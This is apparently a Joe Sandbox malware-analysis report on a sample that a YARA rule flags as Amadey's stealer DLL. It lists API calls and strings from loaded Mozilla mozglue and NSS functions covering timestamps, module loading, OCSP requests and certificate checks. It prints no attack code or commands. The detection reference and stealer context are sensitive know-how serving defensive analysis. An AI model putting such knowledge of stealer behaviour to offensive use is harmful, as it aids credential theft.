MD5 hash:	B20E350B0C7795A2BD612C71136B55AD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.3310024554.0000000000A51000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.3236682529.0000000005220000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C5035A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C58F688,00001000), ref: 6C5035D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5035E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C5035FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C50363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C50369F
__aulldiv.LIBCMT ref: 6C5036E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C503773
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C50377E
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C5037BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C5037C4
EnterCriticalSection.KERNEL32(6C58F688), ref: 6C5037CB
LeaveCriticalSection.KERNEL32(6C58F688), ref: 6C503801
__aulldiv.LIBCMT ref: 6C503883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C503902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C503918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C50394C

Strings

MOZ_TIMESTAMP_MODE, xrefs: 6C5035DB
GTC, xrefs: 6C503912
AuthcAMDenti, xrefs: 6C503946
GenuntelineI, xrefs: 6C503639
QPC, xrefs: 6C5038FC

Memory Dump Source

Source File: 00000000.00000002.2626749140.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2626676465.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2626855614.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2626919203.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2626975444.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 66424eebea0e3594e9b9c827d8005389c4453fc1403476772a15141d72cea47d
Instruction ID: 56837bceb348e7a6386c132f6025b0974f4aa5518db87f6b57905618f2cf7307
Opcode Fuzzy Hash: 66424eebea0e3594e9b9c827d8005389c4453fc1403476772a15141d72cea47d
Instruction Fuzzy Hash: C7B1A175B063209FDB08DF29CC45A1A7BF5BB8F700F169A2DE899D3750D770A9008B99

Function 6C51C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C51C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C51C969
GetSystemInfo.KERNEL32(?), ref: 6C51C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C51C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C51C9E2

Memory Dump Source

Source File: 00000000.00000002.2626749140.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2626676465.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2626855614.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2626919203.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2626975444.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: aef777a656536302ca65bb47f164b8336fda5eddb4c1b2b3edb844514e5bced1
Instruction ID: 76f1251c72432eb71f02ca72949187eda325e35ed3e6aa269d1311ca5bf18be3
Opcode Fuzzy Hash: aef777a656536302ca65bb47f164b8336fda5eddb4c1b2b3edb844514e5bced1
Instruction Fuzzy Hash: 85212F31706224ABEB04BA64CC88BAE73B9AB87700F511529F90797F40E7717C04C794

Function 6C503060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C503095

Part of subcall function 6C5035A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C58F688,00001000), ref: 6C5035D5
Part of subcall function 6C5035A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C5035E0
Part of subcall function 6C5035A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C5035FD
Part of subcall function 6C5035A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C50363F
Part of subcall function 6C5035A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C50369F
Part of subcall function 6C5035A0: __aulldiv.LIBCMT ref: 6C5036E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C50309F

Part of subcall function 6C525B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5256EE,?,00000001), ref: 6C525B85
Part of subcall function 6C525B50: EnterCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525B90
Part of subcall function 6C525B50: LeaveCriticalSection.KERNEL32(6C58F688,?,?,?,6C5256EE,?,00000001), ref: 6C525BD8
Part of subcall function 6C525B50: GetTickCount64.KERNEL32 ref: 6C525BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C5030BE

Part of subcall function 6C5030F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C503127
Part of subcall function 6C5030F0: __aulldiv.LIBCMT ref: 6C503140

Part of subcall function 6C53AB2A: __onexit.LIBCMT ref: 6C53AB30

Memory Dump Source

Source File: 00000000.00000002.2626749140.000000006C501000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C500000, based on PE: true

Associated: 00000000.00000002.2626676465.000000006C500000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2626855614.000000006C57D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2626919203.000000006C58E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2626975444.000000006C592000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c500000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 47ce95474a8281a4bfd183990819080691bc99102d54fbda743725d3713b7b49
Instruction ID: ec365c589e8acac7d9e720e375889227bf57a621577fbc23d3694d8014ea9164
Opcode Fuzzy Hash: 47ce95474a8281a4bfd183990819080691bc99102d54fbda743725d3713b7b49
Instruction Fuzzy Hash: EDF02D32E21B54D7CB10DF758C416E67370AFAF214F523719E84957561FB2066D883CA

Non-executed Functions

Function 6C636E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C782120,6C637E60), ref: 6C636EBC
TlsGetValue.KERNEL32 ref: 6C636EDF
EnterCriticalSection.KERNEL32(?), ref: 6C636EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C636F25

Part of subcall function 6C60A900: TlsGetValue.KERNEL32(00000000,?,6C7814E4,?,6C5A4DD9), ref: 6C60A90F
Part of subcall function 6C60A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C60A94F

PR_Unlock.NSS3 ref: 6C636F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C636FA9
TlsGetValue.KERNEL32 ref: 6C6370B4
EnterCriticalSection.KERNEL32(?), ref: 6C6370C8
PR_CallOnce.NSS3(6C7824C0,6C677590), ref: 6C637104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C637117
SECOID_Init.NSS3 ref: 6C637128
PORT_Alloc_Util.NSS3(00000057), ref: 6C63714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C63717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6371A9
PR_NotifyAllCondVar.NSS3 ref: 6C6371CF
PR_Unlock.NSS3 ref: 6C6371DD
free.MOZGLUE(?), ref: 6C6371EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C637208
free.MOZGLUE(00000000), ref: 6C637221
free.MOZGLUE(00000001), ref: 6C637235
TlsGetValue.KERNEL32 ref: 6C63724A
EnterCriticalSection.KERNEL32(?), ref: 6C63725E
PR_NotifyCondVar.NSS3 ref: 6C637273
PR_Unlock.NSS3 ref: 6C637281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C637291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6372E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C637372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C770148,,defaultModDB,internalKeySlot), ref: 6C6374CC
free.MOZGLUE(00000000), ref: 6C637513
free.MOZGLUE(00000000), ref: 6C63751B
free.MOZGLUE(00000000), ref: 6C637528
free.MOZGLUE(00000000), ref: 6C63753C
free.MOZGLUE(00000000), ref: 6C637550
free.MOZGLUE(00000000), ref: 6C637561
free.MOZGLUE(00000000), ref: 6C637572
free.MOZGLUE(00000000), ref: 6C637583
free.MOZGLUE(00000000), ref: 6C637594
free.MOZGLUE(00000000), ref: 6C6375A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6375BD
free.MOZGLUE(00000000), ref: 6C6375C8
free.MOZGLUE(00000000), ref: 6C6375F1
PR_NewLock.NSS3 ref: 6C637636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C637686
PR_NewLock.NSS3 ref: 6C6376A2

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6376B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C637707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C63771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C637731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C63774A
DeleteCriticalSection.KERNEL32(?), ref: 6C637770
free.MOZGLUE(?), ref: 6C637779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6377AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6377C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6377DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C637821
PORT_Alloc_Util.NSS3(?), ref: 6C637837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C63785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C63786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6378AC
free.MOZGLUE(00000000), ref: 6C6378BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6378F3
free.MOZGLUE(00000000), ref: 6C6378FC
free.MOZGLUE(00000000), ref: 6C63791C

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

dbm:, xrefs: 6C637716
extern:, xrefs: 6C63772B
kbi., xrefs: 6C637886
Spac, xrefs: 6C637389
NSS Internal Module, xrefs: 6C6374A2, 6C6374C6
rdb:, xrefs: 6C637744
sql:, xrefs: 6C6376FE
,defaultModDB,internalKeySlot, xrefs: 6C63748D, 6C6374AA
dll, xrefs: 6C63788E
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6374C7

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$strlen$Value$Alloc_ModuleUtil$CriticalSectionstrncmp$CondEnterUnlockcallocmemcpy$CallDestroyErrorLockNotifyOnce$DeleteInitLoadR_smprintfWaitstrrchr
String ID: ,defaultModDB,internalKeySlot$NSS Internal Module$Spac$dbm:$dll$extern:$kbi.$name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s"$rdb:$sql:
API String ID: 3465160547-3797173233
Opcode ID: 61a9e73e295d2fa28bda68bbe228d9bc83f849969015012f08dc2c632907c223
Instruction ID: 21ec3afcd950a6e91ba28d9d334f9e1843a247c15e295ee562027f9e7a83d304
Opcode Fuzzy Hash: 61a9e73e295d2fa28bda68bbe228d9bc83f849969015012f08dc2c632907c223
Instruction Fuzzy Hash: A65227B1E01225DBEF118F64CE087AA7BB4BF06349F146038ED0DA7A41E731D954CBA9

Function 6C62EA80 Relevance: 107.5, APIs: 49, Strings: 12, Instructions: 735stringmemoryCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(00000000), ref: 6C62EAB1

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

PR_ExitMonitor.NSS3 ref: 6C62EAC5

Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E945B
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9479
Part of subcall function 6C6E9440: EnterCriticalSection.KERNEL32 ref: 6C6E9495
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E94E4
Part of subcall function 6C6E9440: TlsGetValue.KERNEL32 ref: 6C6E9532
Part of subcall function 6C6E9440: LeaveCriticalSection.KERNEL32 ref: 6C6E955D

PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C62EBAF
PR_Socket.NSS3(00000002,00000001,00000000), ref: 6C62EBF8
PR_StringToNetAddr.NSS3(?,?), ref: 6C62EC20
PORT_Alloc_Util.NSS3(00000800), ref: 6C62EC39
PR_GetHostByName.NSS3(?,00000000,00000800,?), ref: 6C62EC5A
PR_EnumerateHostEnt.NSS3(00000000,?,?,?), ref: 6C62EC85
free.MOZGLUE(?), ref: 6C62ECB6
PR_SetError.NSS3(FFFFE078,00000000), ref: 6C62ECCF
free.MOZGLUE(?), ref: 6C62ED10
free.MOZGLUE(?), ref: 6C62ED26
PR_InitializeNetAddr.NSS3(00000000,?,?), ref: 6C62ED35
PR_snprintf.NSS3(?,00000010,:%d,?), ref: 6C62ED7F
PR_smprintf.NSS3(POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u,?,?,00000000,?), ref: 6C62EDAB
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62EDBE
free.MOZGLUE(00000000), ref: 6C62EE9B
PR_smprintf.NSS3(GET %s HTTP/1.0Host: %s%s,?,?,00000000), ref: 6C62EEB1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C62EEC0
free.MOZGLUE(00000000), ref: 6C62EEE2
free.MOZGLUE(00000000), ref: 6C62EEF2
free.MOZGLUE(?), ref: 6C62EF15
free.MOZGLUE(?), ref: 6C62EF27
realloc.MOZGLUE(00000000,-00000401), ref: 6C62EF5C

Part of subcall function 6C62E910: PL_strncasecmp.NSS3(?,http://,00000007), ref: 6C62E93B
Part of subcall function 6C62E910: PR_SetError.NSS3(FFFFE075,00000000), ref: 6C62E94E

strstr.VCRUNTIME140(-000000F8,), ref: 6C62F00C
strstr.VCRUNTIME140(00000000,6C77010D), ref: 6C62F03F
strchr.VCRUNTIME140(00000000,00000020), ref: 6C62F055
PL_strncasecmp.NSS3(00000000,HTTP/,00000005), ref: 6C62F06D
free.MOZGLUE(00000000), ref: 6C62F07A
PR_SetError.NSS3(FFFFE077,00000000), ref: 6C62F08A
strchr.VCRUNTIME140(?,00000020), ref: 6C62F0AC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,200), ref: 6C62F0C4
strchr.VCRUNTIME140(?,0000003A), ref: 6C62F0FA
strstr.VCRUNTIME140(-00000002,6C77010D), ref: 6C62F124
PL_strcasecmp.NSS3(?,content-type), ref: 6C62F13D
PL_strcasecmp.NSS3(?,content-length), ref: 6C62F14F
atoi.API-MS-WIN-CRT-CONVERT-L1-1-0(?), ref: 6C62F15F
PL_strcasecmp.NSS3(?,application/ocsp-response), ref: 6C62F1A0
memcpy.VCRUNTIME140(00000000,?), ref: 6C62F1CD
PR_SetError.NSS3(FFFFE077,00000000), ref: 6C62F231
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000), ref: 6C62F387
memcpy.VCRUNTIME140(?,00000000,00000000), ref: 6C62F39C
free.MOZGLUE(00000000), ref: 6C62F3A5
free.MOZGLUE(00000000), ref: 6C62F3B1

Part of subcall function 6C610F00: PR_GetPageSize.NSS3(6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F1B
Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

Strings

application/ocsp-response, xrefs: 6C62F19A
content-length, xrefs: 6C62F149
POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u, xrefs: 6C62EDA6
:%d, xrefs: 6C62ED73
GET %s HTTP/1.0Host: %s%s, xrefs: 6C62EEAC
content-type, xrefs: 6C62F137
200, xrefs: 6C62F0BB
application/ocsp-request, xrefs: 6C62EE25
POST, xrefs: 6C62EB58, 6C62EB81
HTTP/, xrefs: 6C62F067
http, xrefs: 6C62EB86
GET, xrefs: 6C62EB53

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$Value$Error$CriticalSection$EnterL_strcasecmpstrchrstrstr$AddrHostL_strncasecmpLeaveMonitorR_smprintfUtilmemcpystrlen$AllocAlloc_EnumerateExitInitializeItem_ModuleNamePageR_snprintfSizeSocketStringatoireallocstrcmp
String ID: 200$:%d$GET$GET %s HTTP/1.0Host: %s%s$HTTP/$POST$POST %s HTTP/1.0Host: %s%sContent-Type: application/ocsp-requestContent-Length: %u$application/ocsp-request$application/ocsp-response$content-length$content-type$http
API String ID: 3957390022-1324771758
Opcode ID: 098ad014c3a2e2713a7a2efd16b6f272740e2bbf6bd510f17487393649eafb43
Instruction ID: 456de1e48929353ba03a30ce747d699271699dd37cc10998fcf7bfc9d7bd147d
Opcode Fuzzy Hash: 098ad014c3a2e2713a7a2efd16b6f272740e2bbf6bd510f17487393649eafb43
Instruction Fuzzy Hash: 3B42F071A09311AFEB009F24DC85B5BB7E8AF85349F140838F94987750E738D909CBAB

Function 6C62CA70 Relevance: 84.8, APIs: 56, Instructions: 849threadtimememoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C62CB45
PORT_ZAlloc_Util.NSS3(00000040), ref: 6C62CB5B
CERT_GetConstrainedCertificateNames.NSS3(?,00000010,?), ref: 6C62CBEB
realloc.MOZGLUE(?,00000000), ref: 6C62CC3B
PR_SetError.NSS3(FFFFE029,00000000), ref: 6C62CD25
PR_GetCurrentThread.NSS3 ref: 6C62CD35
CERT_FindCertIssuer.NSS3(?,00000001,?,00000001), ref: 6C62CD74
CERT_CheckCertValidTimes.NSS3(?,00000001,?,00000000), ref: 6C62CD9D
PR_GetCurrentThread.NSS3 ref: 6C62CDBA
PR_SetError.NSS3(FFFFE01E,00000000), ref: 6C62CDD2
PR_GetCurrentThread.NSS3 ref: 6C62CDE9
PR_SetError.NSS3(FFFFE024,00000000), ref: 6C62CE7C
PR_GetCurrentThread.NSS3 ref: 6C62CE93
PR_SetError.NSS3(FFFFE025,00000000), ref: 6C62CEC1
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6C62CF8F
memcmp.VCRUNTIME140(?,6C7496B4,00000048), ref: 6C62CFC8
PR_GetCurrentThread.NSS3 ref: 6C62D071
CERT_GetCertTrust.NSS3(?,?), ref: 6C62D091
PR_SetError.NSS3(FFFFE024,00000000), ref: 6C62D0C6
PR_GetCurrentThread.NSS3 ref: 6C62D0DD
PR_SetError.NSS3(FFFFE05A,00000000), ref: 6C62D116
PR_GetCurrentThread.NSS3 ref: 6C62D131
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C62D1D9
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C62D225
CERT_DestroyCertificate.NSS3(?), ref: 6C62D410
PR_SetError.NSS3(FFFFE0B6,00000000), ref: 6C62D44E
PR_GetCurrentThread.NSS3 ref: 6C62D45E
PR_GetCurrentThread.NSS3 ref: 6C62D1EC

Part of subcall function 6C62C9A0: PORT_ArenaAlloc_Util.NSS3(00000000,00000018,?,00000001,00000000,?,6C62D864,?,00000000,?), ref: 6C62C9AE

PR_SetError.NSS3(FFFFE014,00000000), ref: 6C62D285
PR_GetCurrentThread.NSS3 ref: 6C62D298
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C62D2D7
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C62D330
PR_GetCurrentThread.NSS3 ref: 6C62D34C
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C62D392
CERT_DestroyCertificate.NSS3(?), ref: 6C62D3BC
PR_SetError.NSS3(FFFFE00D,00000000), ref: 6C62D3DF
PR_GetCurrentThread.NSS3 ref: 6C62D3EE
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C62CE12

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_GetCurrentThread.NSS3 ref: 6C62CE22
PR_GetCurrentThread.NSS3 ref: 6C62CED8
memcmp.VCRUNTIME140(?,6C7496FC,00000048), ref: 6C62CFDC
CERT_GetCertTimes.NSS3(?,?,?), ref: 6C62CFF6
PR_GetCurrentThread.NSS3 ref: 6C62CDFD

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

PR_GetCurrentThread.NSS3 ref: 6C62CE52
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C62D4C4
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C62D4E2
PR_GetCurrentThread.NSS3 ref: 6C62D4EA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C62D515
PR_SetError.NSS3(FFFFE014,00000000), ref: 6C62D52C
PR_GetCurrentThread.NSS3 ref: 6C62D540
free.MOZGLUE(?), ref: 6C62D567
CERT_DestroyCertificate.NSS3(00000000), ref: 6C62D575
CERT_DestroyCertificate.NSS3(?), ref: 6C62D584
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C62D592

Part of subcall function 6C6406A0: TlsGetValue.KERNEL32 ref: 6C6406C2
Part of subcall function 6C6406A0: EnterCriticalSection.KERNEL32(?), ref: 6C6406D6
Part of subcall function 6C6406A0: PR_Unlock.NSS3 ref: 6C6406EB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentErrorThread$CertificateDestroyUtil$Cert$Value$Alloc_Arena_Timesmemcmp$ArenaCheckConstrainedCriticalEnterEqual_FindFreeIssuerItemsNamesPublicSectionTrustUnlockValidfreerealloc
String ID:
API String ID: 3754541784-0
